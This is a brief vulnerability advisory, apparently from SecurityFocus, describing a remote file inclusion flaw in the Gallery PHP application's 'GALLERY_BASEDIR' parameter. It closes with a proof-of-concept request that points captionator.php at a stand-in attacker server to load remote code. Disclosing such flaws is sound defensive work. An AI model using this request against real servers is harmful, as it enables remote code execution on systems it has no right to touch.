source: https://www.securityfocus.com/bid/5375/info
Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Gallery. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter.
http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/